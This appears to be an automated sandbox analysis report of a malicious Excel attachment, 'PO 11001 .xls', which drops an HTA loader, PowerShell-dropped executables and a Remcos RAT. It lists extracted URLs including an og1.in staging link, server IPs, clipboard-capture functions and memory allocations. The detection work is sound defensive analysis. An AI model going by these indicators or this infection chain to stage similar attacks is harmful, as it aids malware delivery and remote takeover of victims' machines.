Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C421000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000007.00000002.434786957.0000000002501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.781549529.0000000002451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.479817740.0000000002421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.937693979.0000000002451000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: Vaccinerende.exe String found in binary or memory: http://www.ebuddy.com
Source: Vaccinerende.exe String found in binary or memory: http://www.imvu.com
Source: Vaccinerende.exe String found in binary or memory: http://www.nirsoft.net/
Source: powershell.exe, 0000000C.00000002.793905952.0000000003479000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000C.00000002.793905952.0000000003479000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000C.00000002.793905952.0000000003479000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: Vaccinerende.exe String found in binary or memory: https://login.yahoo.com/config/login
Source: powershell.exe, 00000007.00000002.445540287.0000000012531000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.793905952.0000000003479000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000002.414718403.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414241682.00000000004DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471568642.00000000003E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.460570080.00000000003E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.471985501.00000000003E4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/
Source: mshta.exe, 0000000F.00000003.460570080.0000000000395000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3
Source: mshta.exe, 00000004.00000002.414694836.0000000000465000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3&
Source: mshta.exe, 0000000F.00000002.471964740.000000000035A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3C
Source: mshta.exe, 0000000F.00000003.460570080.0000000000395000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3W
Source: mshta.exe, 00000004.00000002.414694836.0000000000465000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3Z
Source: mshta.exe, 0000000F.00000002.471964740.000000000035A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3s
Source: mshta.exe, 0000000F.00000002.471964740.000000000035A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3w
Source: mshta.exe, 0000000F.00000002.471964740.000000000035A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/2Rxzb3yX
Source: mshta.exe, 00000004.00000002.417244267.000000000332E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://og1.in/ket
Source: mshta.exe, 00000004.00000003.413946521.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.417244267.0000000003375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413839086.0000000003374000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.413828049.0000000003370000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C49E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.449310498.000000001C421000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.471034677.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.472217661.0000000003DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.470666205.0000000003DDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: Vaccinerende.exe, 00000022.00000003.836175427.00000000021E3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: Vaccinerende.exe String found in binary or memory: https://www.google.com
Source: Vaccinerende.exe String found in binary or memory: https://www.google.com/accounts/servicelogin
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.216.244:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49170 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.78.54:443 -> 192.168.2.22:49169 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_004053EF GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 11_2_004053EF
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard, 34_2_0040987A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard, 34_2_004098E2
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard, 35_2_00406DFC
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard, 35_2_00406E9F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard, 36_2_004068B5
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard, 36_2_004072B5
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS

E-Banking Fraud
barindex
Yara detected Remcos RAT
Source: Yara match File source: 00000021.00000002.1004764696.0000000006AA4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Vaccinerende.exe PID: 3116, type: MEMORYSTR

System Summary
barindex
Excel sheet contains many unusual embedded objects
Source: PO 11001 .xls OLE: Microsoft Excel 2007+
Source: 54230000.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cookienetbookinetcahce[1].hta Jump to behavior
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\dllhost.exe Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\dllhost[1].exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\dllhost.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\dllhost.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Windows\SysWOW64\reg.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Memory allocated: 770B0000 page execute and read and write
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle, 34_2_0040DD85
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00401806 NtdllDefWindowProc_W, 34_2_00401806
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004018C0 NtdllDefWindowProc_W, 34_2_004018C0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004016FD NtdllDefWindowProc_A, 35_2_004016FD
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004017B7 NtdllDefWindowProc_A, 35_2_004017B7
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00402CAC NtdllDefWindowProc_A, 36_2_00402CAC
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 36_2_00402D66 NtdllDefWindowProc_A, 36_2_00402D66
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040333D
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 23_2_0040333D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 33_2_0040333D
Creates files inside the system directory
Source: C:\Users\user\AppData\Roaming\dllhost.exe File created: C:\Windows\brandbombernes.lnk Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE897C352E 7_2_000007FE897C352E
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_00406956 11_2_00406956
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 11_2_00404C2C 11_2_00404C2C
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_00406956 23_2_00406956
Source: C:\Users\user\AppData\Roaming\dllhost.exe Code function: 23_2_00404C2C 23_2_00404C2C
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_00406956 33_2_00406956
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 33_2_00404C2C 33_2_00404C2C
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044B040 34_2_0044B040
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0043610D 34_2_0043610D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00447310 34_2_00447310
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044A490 34_2_0044A490
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0040755A 34_2_0040755A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0043C560 34_2_0043C560
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044B610 34_2_0044B610
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044D6C0 34_2_0044D6C0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004476F0 34_2_004476F0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044B870 34_2_0044B870
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044081D 34_2_0044081D
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00414957 34_2_00414957
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_004079EE 34_2_004079EE
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00407AEB 34_2_00407AEB
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044AA80 34_2_0044AA80
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00412AA9 34_2_00412AA9
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00404B74 34_2_00404B74
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00404B03 34_2_00404B03
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_0044BBD8 34_2_0044BBD8
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00404BE5 34_2_00404BE5
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00404C76 34_2_00404C76
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00415CFE 34_2_00415CFE
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00416D72 34_2_00416D72
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00446D30 34_2_00446D30
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00446D8B 34_2_00446D8B
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 34_2_00406E8F 34_2_00406E8F
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00405038 35_2_00405038
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0041208C 35_2_0041208C
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004050A9 35_2_004050A9
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0040511A 35_2_0040511A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0043C13A 35_2_0043C13A
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004051AB 35_2_004051AB
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00449300 35_2_00449300
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0040D322 35_2_0040D322
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0044A4F0 35_2_0044A4F0
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0043A5AB 35_2_0043A5AB
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00413631 35_2_00413631
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_00446690 35_2_00446690
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_0044A730 35_2_0044A730
Source: C:\Users\user\AppData\Local\Temp\Vaccinerende.exe Code function: 35_2_004398D8 35_2_004398D8
